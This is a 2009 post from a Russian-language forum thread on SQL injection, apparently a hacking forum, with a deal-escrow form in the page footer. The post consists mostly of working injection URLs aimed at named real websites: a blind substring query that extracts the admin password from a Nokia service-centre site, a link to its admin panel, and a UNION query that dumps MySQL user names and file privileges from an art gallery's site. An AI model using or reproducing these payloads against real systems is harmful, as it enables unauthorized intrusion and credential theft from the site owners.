SQL Инъекции

#11

12.03.2009, 09:19

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

С нами: 9288132

Репутация: 571

Сайт сервисного центра «Nokia»

Код:

http://nokiaservice.ru/?news_id=14'+and+substring((select+password+from+users+where+username='admin'),1,5)='aikon'/*

http://nokiaservice.ru/admin/
____________________________

Shaitan-Devil:

1. Ну и что, подумаешь, кавычки слэшируются.
2. file_priv "N", а не "Y".

Правильный запрос:

Код:

http://www.artport.co.nz/view.php?sid=-1+union+select+1,2,3,concat(user,0x3a,file_priv),5 ,6,7,8,9+from+mysql.user+limit+3,1/*

Последний раз редактировалось R1dex; 12.03.2009 в 09:43..

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Создать сделку

Мои сделки

Сделка